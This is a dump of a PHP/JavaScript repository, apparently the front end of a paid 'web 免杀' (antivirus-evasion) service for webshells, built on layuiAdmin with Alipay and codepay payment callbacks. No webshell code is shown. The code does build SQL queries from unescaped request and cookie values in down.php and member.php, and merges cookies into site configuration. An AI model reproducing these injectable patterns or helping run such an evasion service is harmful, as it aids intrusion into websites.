//视图渲染模块 14 | }).define(['setter', 'admin'], function(exports){ 15 | var setter = layui.setter 16 | ,element = layui.element 17 | ,admin = layui.admin 18 | ,tabsPage = admin.tabsPage 19 | ,view = layui.view 20 | 21 | //打开标签页 22 | ,openTabsPage = function(url, text){ 23 | //遍历页签选项卡 24 | var matchTo 25 | ,tabs = $('#LAY_app_tabsheader>li') 26 | ,path = url.replace(/(^http(s*):)|(\?[\s\S]*$)/g, ''); 27 | 28 | tabs.each(function(index){ 29 | var li = $(this) 30 | ,layid = li.attr('lay-id'); 31 | 32 | if(layid === url){ 33 | matchTo = true; 34 | tabsPage.index = index; 35 | } 36 | }); 37 | 38 | text = text || '新标签页'; 39 | 40 | if(setter.pageTabs){ 41 | //如果未在选项卡中匹配到,则追加选项卡 42 | if(!matchTo){ 43 | $(APP_BODY).append([ 44 | '
    ' 45 | ,'' 46 | ,'
    ' 47 | ].join('')); 48 | tabsPage.index = tabs.length; 49 | element.tabAdd(FILTER_TAB_TBAS, { 50 | title: ''+ text +'' 51 | ,id: url 52 | ,attr: path 53 | }); 54 | } 55 | } else { 56 | var iframe = admin.tabsBody(admin.tabsPage.index).find('.layadmin-iframe'); 57 | iframe[0].contentWindow.location.href = url; 58 | } 59 | 60 | //定位当前tabs 61 | element.tabChange(FILTER_TAB_TBAS, url); 62 | admin.tabsBodyChange(tabsPage.index, { 63 | url: url 64 | ,text: text 65 | }); 66 | } 67 | 68 | ,APP_BODY = '#LAY_app_body', FILTER_TAB_TBAS = 'layadmin-layout-tabs' 69 | ,$ = layui.$, $win = $(window); 70 | 71 | //初始 72 | if(admin.screen() < 2) admin.sideFlexible(); 73 | 74 | //将模块根路径设置为 controller 目录 75 | layui.config({ 76 | base: setter.base + 'modules/' 77 | }); 78 | 79 | //扩展 lib 目录下的其它模块 80 | layui.each(setter.extend, function(index, item){ 81 | var mods = {}; 82 | mods[item] = '{/}' + setter.base + 'lib/extend/' + item; 83 | layui.extend(mods); 84 | }); 85 | 86 | view().autoRender(); 87 | 88 | //加载公共模块 89 | layui.use('common'); 90 | 91 | //对外输出 92 | exports('index', { 93 | openTabsPage: openTabsPage 94 | }); 95 | }); 96 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/modules/common.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin 公共业务 4 | @Author:贤心 5 | @Site:http://www.layui.com/admin/ 6 | @License:LPPL 7 | 8 | */ 9 | 10 | layui.define(function(exports){ 11 | var $ = layui.$ 12 | ,layer = layui.layer 13 | ,laytpl = layui.laytpl 14 | ,setter = layui.setter 15 | ,view = layui.view 16 | ,admin = layui.admin 17 | 18 | //公共业务的逻辑处理可以写在此处,切换任何页面都会执行 19 | //…… 20 | 21 | 22 | 23 | //退出 24 | admin.events.logout = function(){ 25 | //执行退出接口 26 | admin.req({ 27 | url: layui.setter.base + 'json/user/logout.js' 28 | ,type: 'get' 29 | ,data: {} 30 | ,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行 31 | 32 | //清空本地记录的 token,并跳转到登入页 33 | admin.exit(function(){ 34 | location.href = 'user/login.html'; 35 | }); 36 | } 37 | }); 38 | }; 39 | 40 | 41 | //对外暴露的接口 42 | exports('common', {}); 43 | }); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/modules/user.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin 用户登入和注册等 4 | @Author:贤心 5 | @Site:http://www.layui.com/admin/ 6 | @License: LPPL 7 | 8 | */ 9 | 10 | layui.define('form', function(exports){ 11 | var $ = layui.$ 12 | ,layer = layui.layer 13 | ,laytpl = layui.laytpl 14 | ,setter = layui.setter 15 | ,view = layui.view 16 | ,admin = layui.admin 17 | ,form = layui.form; 18 | 19 | var $body = $('body'); 20 | 21 | //自定义验证 22 | form.verify({ 23 | nickname: function(value, item){ //value:表单的值、item:表单的DOM对象 24 | if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){ 25 | return '用户名不能有特殊字符'; 26 | } 27 | if(/(^\_)|(\__)|(\_+$)/.test(value)){ 28 | return '用户名首尾不能出现下划线\'_\''; 29 | } 30 | if(/^\d+\d+\d$/.test(value)){ 31 | return '用户名不能全为数字'; 32 | } 33 | } 34 | 35 | //我们既支持上述函数式的方式,也支持下述数组的形式 36 | //数组的两个值分别代表:[正则匹配、匹配不符时的提示文字] 37 | ,pass: [ 38 | /^[\S]{6,12}$/ 39 | ,'密码必须6到12位,且不能出现空格' 40 | ] 41 | }); 42 | 43 | 44 | //发送短信验证码 45 | admin.sendAuthCode({ 46 | elem: '#LAY-user-getsmscode' 47 | ,elemPhone: '#LAY-user-login-cellphone' 48 | ,elemVercode: '#LAY-user-login-vercode' 49 | ,ajax: { 50 | url: layui.setter.base + 'json/user/sms.js' //实际使用请改成服务端真实接口 51 | } 52 | }); 53 | 54 | 55 | 56 | 57 | //更换图形验证码 58 | $body.on('click', '#LAY-user-get-vercode', function(){ 59 | var othis = $(this); 60 | this.src = 'https://www.oschina.net/action/user/captcha?t='+ new Date().getTime() 61 | }); 62 | 63 | //对外暴露的接口 64 | exports('user', {}); 65 | }); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/modules/workorder.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin 工单系统 4 | @Author:star1029 5 | @Site:http://www.layui.com/admin/ 6 | @License:GPL-2 7 | 8 | */ 9 | 10 | 11 | layui.define(['table', 'form', 'element'], function(exports){ 12 | var $ = layui.$ 13 | ,table = layui.table 14 | ,form = layui.form 15 | ,element = layui.element; 16 | 17 | table.render({ 18 | elem: '#LAY-app-system-order' 19 | ,url: layui.setter.base + 'json/workorder/demo.js' //模拟接口 20 | ,cols: [[ 21 | {type: 'numbers', fixed: 'left'} 22 | ,{field: 'orderid', width: 100, title: '工单号', sort: true} 23 | ,{field: 'attr', width: 100, title: '业务性质'} 24 | ,{field: 'title', width: 100, title: '工单标题', width: 300} 25 | ,{field: 'progress', title: '进度', width: 200, align: 'center', templet: '#progressTpl'} 26 | ,{field: 'submit', width: 100, title: '提交者'} 27 | ,{field: 'accept', width: 100, title: '受理人员'} 28 | ,{field: 'state', title: '工单状态', templet: '#buttonTpl', minWidth: 80, align: 'center'} 29 | ,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-system-order'} 30 | ]] 31 | ,page: true 32 | ,limit: 10 33 | ,limits: [10, 15, 20, 25, 30] 34 | ,text: '对不起,加载出现异常!' 35 | ,done: function(){ 36 | element.render('progress') 37 | } 38 | }); 39 | 40 | //监听工具条 41 | table.on('tool(LAY-app-system-order)', function(obj){ 42 | var data = obj.data; 43 | if(obj.event === 'edit'){ 44 | var tr = $(obj.tr); 45 | layer.open({ 46 | type: 2 47 | ,title: '编辑工单' 48 | ,content: '../../../views/app/workorder/listform.html' 49 | ,area: ['450px', '450px'] 50 | ,btn: ['确定', '取消'] 51 | ,yes: function(index, layero){ 52 | var iframeWindow = window['layui-layer-iframe'+ index] 53 | ,submitID = 'LAY-app-workorder-submit' 54 | ,submit = layero.find('iframe').contents().find('#'+ submitID); 55 | 56 | //监听提交 57 | iframeWindow.layui.form.on('submit('+ submitID +')', function(data){ 58 | var field = data.field; //获取提交的字段 59 | 60 | //提交 Ajax 成功后,静态更新表格中的数据 61 | //$.ajax({}); 62 | table.reload('LAY-user-front-submit'); //数据刷新 63 | layer.close(index); //关闭弹层 64 | }); 65 | 66 | submit.trigger('click'); 67 | } 68 | ,success: function(layero, index){ 69 | 70 | } 71 | }); 72 | } 73 | }); 74 | 75 | exports('workorder', {}) 76 | }); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/login.css: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin 登入注册页 4 | @Author:贤心 5 | @Site:http://www.layui.com/admin/ 6 | @License:GPL-2 7 | 8 | */ 9 | 10 | html,body,#LAY_app{height:100%;} 11 | .layui-layout-body{overflow: auto;} 12 | 13 | #LAY-user-login, 14 | .layadmin-user-display-show{display: block !important;} 15 | .layadmin-user-login{position: relative; left: 0; top: 0; padding: 110px 0; min-height: 100%; box-sizing: border-box;} 16 | .layadmin-user-login-main{width: 375px; margin: 0 auto; box-sizing: border-box;} 17 | .layadmin-user-login-box{padding: 20px;} 18 | .layadmin-user-login-header{text-align: center;} 19 | .layadmin-user-login-header h2{margin-bottom: 10px; font-weight: 300; font-size: 30px; color: #000;} 20 | .layadmin-user-login-header p{font-weight: 300; color: #999;} 21 | 22 | .layadmin-user-login-body .layui-form-item{position: relative;} 23 | .layadmin-user-login-icon{position: absolute; left: 1px; top: 1px; width: 38px; line-height: 36px; text-align: center; color: #d2d2d2;} 24 | .layadmin-user-login-body .layui-form-item .layui-input{padding-left: 38px;} 25 | .layadmin-user-login-codeimg{max-height: 38px; width: 100%; cursor: pointer; box-sizing: border-box;} 26 | 27 | .layadmin-user-login-other{position: relative; font-size: 0; line-height: 38px; padding-top: 20px;} 28 | .layadmin-user-login-other>*{display: inline-block; vertical-align: middle; margin-right: 10px; font-size: 14px;} 29 | .layadmin-user-login-other .layui-icon{position: relative; top: 2px; font-size: 26px;} 30 | .layadmin-user-login-other a:hover{opacity: 0.8;} 31 | 32 | .layadmin-user-jump-change{float: right;} 33 | 34 | .layadmin-user-login-footer{position: absolute; left: 0; bottom: 0; width: 100%; line-height: 30px; padding: 20px; text-align: center; box-sizing: border-box; color: rgba(0,0,0,.5)} 35 | .layadmin-user-login-footer span{padding: 0 5px;} 36 | .layadmin-user-login-footer a{padding: 0 5px; color: rgba(0,0,0,.5);} 37 | .layadmin-user-login-footer a:hover{color: rgba(0,0,0,1);} 38 | 39 | /* 有背景图时 */ 40 | .layadmin-user-login-main[bgimg]{background-color: #fff; box-shadow: 0 0 5px rgba(0,0,0,0.05);} 41 | 42 | /* 主题背景 */ 43 | .ladmin-user-login-theme{position: fixed; bottom: 0; left: 0; width: 100%; text-align: center;} 44 | .ladmin-user-login-theme ul{display: inline-block; padding: 5px; background-color: #fff;} 45 | .ladmin-user-login-theme ul li{display: inline-block; vertical-align: top; width: 64px; height: 43px; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; background-color: #f2f2f2;} 46 | .ladmin-user-login-theme ul li:hover{opacity: 0.9} 47 | 48 | @media screen and (max-width: 768px) { 49 | .layadmin-user-login{padding-top: 60px;} 50 | .layadmin-user-login-main{width: 300px;} 51 | .layadmin-user-login-box{padding: 10px;} 52 | } 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/bg-none.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/bg-none.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/layui-logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/layui-logo.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/logo-black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/logo-black.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/logo.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/template/character.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/template/character.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/template/huge.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/template/huge.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/style/res/template/portrait.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/style/res/template/portrait.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/layim/demo.html: -------------------------------------------------------------------------------- 1 |
    2 | 3 | 4 | 5 | 6 | 7 | 8 |
    9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
    18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 |
    -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/system/about.html: -------------------------------------------------------------------------------- 1 | 2 |
    版本信息
    3 |
    4 | 8 |
    9 | 10 |
    关于版权
    11 |
    12 | 13 |
    14 | 欢迎使用星辰web免杀系统 V1.0。 15 |
    16 |

    © 2022 Stars APT(无名) 版权所有

    17 |
    -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/system/get.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 授权获得 layuiAdmin 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
    17 |
    18 |
    19 |
    20 |

    专业版

    21 |
      22 |
    • 始终基于全新的 layui 版本
    • 23 |
    • 单页面应用,所有操作无需跳转
    • 24 |
    • 支持前后端分离开发模式
    • 25 |
    • 面向全屏幕尺寸的响应式适配能力
    • 26 |
    • 灵活的主题色配置
    • 27 |
    • 专属的开发者文档,助你快速掌握
    • 28 |
    • 版本的持续更新,集大众之所需
    • 29 |
    • 专属的会员群,与同道中人隔空交流
    • 30 |
    • layui 社区 VIP 标识
    • 31 |
    • 不限制域名、不限制应用的项目数量
    • 32 |
    33 |
    34 |
    35 | 一年授权 36 |
    37 | 43 |
    44 |
    45 |
    46 |
    47 | 你所获得的不仅仅是一款高精品的后台管理模板系统,更是一项关于时间与效率的高收益回报 48 |
    49 |
    50 |
    51 | 52 | 53 | 60 | 61 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/system/more.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 23 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/system/theme.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 28 | 29 | 44 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/system/说明.txt: -------------------------------------------------------------------------------- 1 | 2 | 注意: 3 | 该目录存放的是 layuiAdmin 的系统模板碎片,很多界面需要依赖到它,切勿随意剔除。 -------------------------------------------------------------------------------- /Index/assets/layuiadmin/tpl/说明.txt: -------------------------------------------------------------------------------- 1 | 2 | 注意: 3 | 该目录存放的是 layuiAdmin 的动态模板碎片 -------------------------------------------------------------------------------- /Index/config.php: -------------------------------------------------------------------------------- 1 | 'localhost', //数据库服务器 5 | 'port' => 3306, //数据库端口 6 | 'user' => 'root', //数据库用户名 7 | 'pwd' => '123456', //数据库密码 8 | 'dbname' => 'test', //数据库名 9 | ); 10 | ?> -------------------------------------------------------------------------------- /Index/down.php: -------------------------------------------------------------------------------- 1 | get_row("SELECT * FROM moyu_cache WHERE space='".$id."'"); 7 | Header( "Content-type: application/octet-stream "); 8 | Header( "Accept-Ranges: bytes "); 9 | header( "Content-Disposition: attachment; filename=".$row["file"]); 10 | header( "Expires: 0 "); 11 | header( "Cache-Control: must-revalidate, post-check=0, pre-check=0 "); 12 | header( "Pragma: public "); 13 | $filename = fopen("./includes/download/".$row["space"]."/".$row["file"].".txt", "r") or die("免杀失败,请重试!"); 14 | echo fread($filename,filesize("./includes/download/".$row["space"]."/".$row["file"].".txt")); 15 | fclose($filename); 16 | exit(); 17 | } 18 | ?> -------------------------------------------------------------------------------- /Index/includes/360safe/webscan_cache.php: -------------------------------------------------------------------------------- 1 | 'mod=sq_n', '/set.php' => 'mod=site_n'); 20 | ?> -------------------------------------------------------------------------------- /Index/includes/SecretUtilTools.php: -------------------------------------------------------------------------------- 1 | strlen($text)) 57 | { 58 | return false; 59 | } 60 | if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) 61 | { 62 | return false; 63 | } 64 | return substr($text, 0, -1 * $pad); 65 | } 66 | } 67 | ?> -------------------------------------------------------------------------------- /Index/includes/authcode.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/includes/cache.class.php: -------------------------------------------------------------------------------- 1 | file_name=ROOT.'includes/cache/'.md5(md5($pass)).'.txt'; 7 | } 8 | public function get($key) { 9 | global $_CACHE; 10 | return $_CACHE[$key]; 11 | } 12 | public function read() { 13 | if(CACHE_FILE==1) return str_replace('file_name)); 14 | global $DB; 15 | $row=$DB->get_row("SELECT v FROM moyu_config WHERE k='cache' limit 1"); 16 | return $row['v']; 17 | } 18 | public function save($value) { 19 | if (is_array($value)) $value = serialize($value); 20 | if(CACHE_FILE==1) return file_put_contents($this->file_name,'query("update moyu_config set v='$value' where k='cache'"); 24 | } 25 | public function pre_fetch(){ 26 | global $_CACHE; 27 | $_CACHE=array(); 28 | $cache = $this->read(); 29 | $_CACHE = array_merge(@unserialize($cache),$_COOKIE); 30 | if(empty($_CACHE['version']) || $_GET['clearcache'])$_CACHE = $this->update(); 31 | return $_CACHE; 32 | } 33 | public function update() { 34 | global $DB; 35 | $cache = array(); 36 | $query = $DB->query('SELECT * FROM moyu_config where 1'); 37 | while($result = $DB->fetch($query)){ 38 | if($result['k']=='cache') continue; 39 | $cache[ $result['k'] ] = $result['v']; 40 | } 41 | $this->save($cache); 42 | return $cache; 43 | } 44 | public function clear() { 45 | global $DB; 46 | return $DB->query("update moyu_config set v='' where k='cache'"); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /Index/includes/common.php: -------------------------------------------------------------------------------- 1 | 点此安装"; 24 | exit(0); 25 | } 26 | 27 | include_once(SYSTEM_ROOT."db.class.php"); 28 | $DB = new DB($dbconfig['host'], $dbconfig['user'], $dbconfig['pwd'], $dbconfig['dbname'], $dbconfig['port']); 29 | if ($DB->query('select * from moyu_config where 1')==false) { 30 | header('Content-type:text/html;charset=utf-8'); 31 | echo '你还没安装!点此安装'; 32 | exit(0); 33 | } 34 | 35 | include(SYSTEM_ROOT."cache.class.php"); 36 | $CACHE = new CACHE(); 37 | $conf = unserialize($CACHE->pre_fetch());//获取系统配置 38 | 39 | if (empty($conf['version'])) { 40 | $conf = $CACHE->update(); 41 | } 42 | 43 | if (($conf['qqjump']==1 && (!strpos($_SERVER['HTTP_USER_AGENT'],'QQ/')===false || !strpos($_SERVER['HTTP_USER_AGENT'],'MicroMessenger')===false))) {if ($_GET['open']==1 && !strpos($_SERVER['HTTP_USER_AGENT'],'MicroMessenger')===false) { 44 | header('Content-Disposition: attachment; filename="load.doc"'); 45 | header('Content-Type: application/vnd.ms-word;charset=utf-8'); 46 | } 47 | else { 48 | header('Content-type:text/html;charset=utf-8'); 49 | } 50 | include_once(SYSTEM_ROOT."jump.php"); 51 | exit(0); 52 | } 53 | 54 | $row=$DB->get_row("SELECT * FROM moyu_daili WHERE user='".$udata['user']."'"); 55 | 56 | $password_hash='!@#%!s!'; 57 | include_once(SYSTEM_ROOT.'authcode.php'); 58 | define('authcode',$authcode); 59 | include SYSTEM_ROOT."SecretUtilTools.php"; 60 | include SYSTEM_ROOT."function.php"; 61 | include SYSTEM_ROOT."member.php"; 62 | 63 | if(!file_exists(ROOT."install/install.lock") && file_exists(ROOT."install/index.php")) { 64 | sysmsg("

    检测到无 install.lock 文件


    点击重新安装 (重新安装)

    ", true); 65 | } 66 | ?> -------------------------------------------------------------------------------- /Index/includes/download/陌屿云加密: -------------------------------------------------------------------------------- 1 | 陌屿云加密 -------------------------------------------------------------------------------- /Index/includes/member.php: -------------------------------------------------------------------------------- 1 | get_row("SELECT * FROM moyu_daili WHERE user='$user' limit 1"); 25 | $session=md5($udata['user'].$udata['pass'].$password_hash); 26 | if($session==$sid) { 27 | $DB->query("UPDATE moyu_daili SET last='$date',dlip='$clientip' WHERE user = '$user'"); 28 | $islogins=1; 29 | $daili_id=$udata['id']; 30 | if($udata['active']==0){ 31 | @header('Content-Type: text/html; charset=UTF-8'); 32 | sysmsg("

    您的授权平台账号已被封禁,需解禁请联系管理员

    "); 33 | } 34 | } 35 | } 36 | ?> -------------------------------------------------------------------------------- /Index/includes/version.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/install/db.class.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/install/install.lock: -------------------------------------------------------------------------------- 1 | By陌屿 -------------------------------------------------------------------------------- /Index/install/readme.txt: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /Index/other/alipay/alipay.config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/other/alipay/alipay_md5.function.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/other/alipay_notify.php: -------------------------------------------------------------------------------- 1 | verifyNotify(); 25 | 26 | if($verify_result && $conf['alipay_api']==1) {//验证成功 27 | //商户订单号 28 | 29 | $out_trade_no = daddslashes($_POST['out_trade_no']); 30 | 31 | //支付宝交易号 32 | 33 | $trade_no = $_POST['trade_no']; 34 | 35 | //交易状态 36 | $trade_status = $_POST['trade_status']; 37 | 38 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 39 | 40 | if($_POST['trade_status'] == 'TRADE_FINISHED') { 41 | //退款日期超过可退款期限后(如三个月可退款),支付宝系统发送该交易状态通知 42 | } 43 | else if ($_POST['trade_status'] == 'TRADE_SUCCESS' && $srow['status']==0) { 44 | //付款完成后,支付宝系统发送该交易状态通知 45 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 46 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 47 | } 48 | echo "success"; 49 | } 50 | else { 51 | //验证失败 52 | echo "fail"; 53 | } 54 | ?> -------------------------------------------------------------------------------- /Index/other/alipay_return.php: -------------------------------------------------------------------------------- 1 | verifyReturn(); 23 | if($verify_result && $conf['alipay_api']==1) { 24 | //商户订单号 25 | 26 | $out_trade_no = daddslashes($_GET['out_trade_no']); 27 | 28 | //支付宝交易号 29 | 30 | $trade_no = $_GET['trade_no']; 31 | 32 | //交易状态 33 | $trade_status = $_GET['trade_status']; 34 | 35 | 36 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 37 | 38 | if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') { 39 | if($srow['status']==0){ 40 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 41 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 42 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 43 | }else{ 44 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 45 | } 46 | } 47 | else { 48 | echo "trade_status=".$_GET['trade_status']; 49 | } 50 | } 51 | else { 52 | //验证失败 53 | showalert('验证失败!',4); 54 | } 55 | ?> -------------------------------------------------------------------------------- /Index/other/assets/css/alipay-pay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/assets/css/alipay-pay.png -------------------------------------------------------------------------------- /Index/other/assets/css/mqq-pay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/assets/css/mqq-pay.png -------------------------------------------------------------------------------- /Index/other/assets/css/wave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/assets/css/wave.png -------------------------------------------------------------------------------- /Index/other/assets/css/wechat-pay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/assets/css/wechat-pay.png -------------------------------------------------------------------------------- /Index/other/assets/img/wxwappay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/assets/img/wxwappay.png -------------------------------------------------------------------------------- /Index/other/codepay/codepay_config.php: -------------------------------------------------------------------------------- 1 | "+b+"",d.insertBefore(c.lastChild,d.firstChild)}function d(){var a=t.elements;return"string"==typeof a?a.split(" "):a}function e(a,b){var c=t.elements;"string"!=typeof c&&(c=c.join(" ")),"string"!=typeof a&&(a=a.join(" ")),t.elements=c+" "+a,j(b)}function f(a){var b=s[a[q]];return b||(b={},r++,a[q]=r,s[r]=b),b}function g(a,c,d){if(c||(c=b),l)return c.createElement(a);d||(d=f(c));var e;return e=d.cache[a]?d.cache[a].cloneNode():p.test(a)?(d.cache[a]=d.createElem(a)).cloneNode():d.createElem(a),!e.canHaveChildren||o.test(a)||e.tagUrn?e:d.frag.appendChild(e)}function h(a,c){if(a||(a=b),l)return a.createDocumentFragment();c=c||f(a);for(var e=c.frag.cloneNode(),g=0,h=d(),i=h.length;i>g;g++)e.createElement(h[g]);return e}function i(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return t.shivMethods?g(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+d().join().replace(/[\w\-:]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(t,b.frag)}function j(a){a||(a=b);var d=f(a);return!t.shivCSS||k||d.hasCSS||(d.hasCSS=!!c(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),l||i(a,d),a}var k,l,m="3.7.2",n=a.html5||{},o=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,p=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,q="_html5shiv",r=0,s={};!function(){try{var a=b.createElement("a");a.innerHTML="",k="hidden"in a,l=1==a.childNodes.length||function(){b.createElement("a");var a=b.createDocumentFragment();return"undefined"==typeof a.cloneNode||"undefined"==typeof a.createDocumentFragment||"undefined"==typeof a.createElement}()}catch(c){k=!0,l=!0}}();var t={elements:n.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video",version:m,shivCSS:n.shivCSS!==!1,supportsUnknownElements:l,shivMethods:n.shivMethods!==!1,type:"default",shivDocument:j,createElement:g,createDocumentFragment:h,addElements:e};a.html5=t,j(b)}(this,document); -------------------------------------------------------------------------------- /Index/other/codepay/qrcode.php: -------------------------------------------------------------------------------- 1 | $val) { 12 | if ($val == '') continue; 13 | if ($key != 'sign') { 14 | if ($sign != '') { 15 | $sign .= "&"; 16 | $urls .= "&"; 17 | } 18 | $sign .= "$key=$val"; //拼接为url参数形式 19 | $urls .= "$key=" . urlencode($val); //拼接为url参数形式 20 | } 21 | } 22 | 23 | if (!$_POST['pay_no'] || md5($sign . $codepay_config['key']) != $_POST['sign']) { //不合法的数据 KEY密钥为你的密钥 24 | exit('fail'); 25 | } else { //合法的数据 26 | 27 | $out_trade_no = daddslashes($_POST['param']); 28 | 29 | //支付宝交易号 30 | $trade_no = daddslashes($_POST['pay_no']); 31 | 32 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 33 | if($srow['status']==0) { 34 | $DB->query("update `moyu_pay` set `status` ='1' where `trade_no`='{$out_trade_no}'"); 35 | if($DB->affected()>=1){ 36 | $DB->query("update `moyu_pay` set `endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 37 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 38 | } 39 | } 40 | exit('success'); 41 | } 42 | 43 | ?> -------------------------------------------------------------------------------- /Index/other/codepay_return.php: -------------------------------------------------------------------------------- 1 | $val) { 12 | if ($val == '') continue; 13 | if ($key != 'sign') { 14 | if ($sign != '') { 15 | $sign .= "&"; 16 | $urls .= "&"; 17 | } 18 | $sign .= "$key=$val"; //拼接为url参数形式 19 | $urls .= "$key=" . urlencode($val); //拼接为url参数形式 20 | } 21 | } 22 | if (!$_GET['pay_no'] || md5($sign . $codepay_config['key']) != $_GET['sign']) { //不合法的数据 KEY密钥为你的密钥 23 | showalert('验证失败!',4); 24 | } else { //合法的数据 25 | $out_trade_no = daddslashes($_GET['param']); 26 | //支付宝交易号 27 | $trade_no = daddslashes($_GET['pay_no']); 28 | 29 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 30 | if($srow['status']==0){ 31 | $DB->query("update `moyu_pay` set `status` ='1' where `trade_no`='{$out_trade_no}'"); 32 | if($DB->affected()>=1){ 33 | $DB->query("update `moyu_pay` set `endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 34 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 35 | } 36 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no,$srow['tid']); 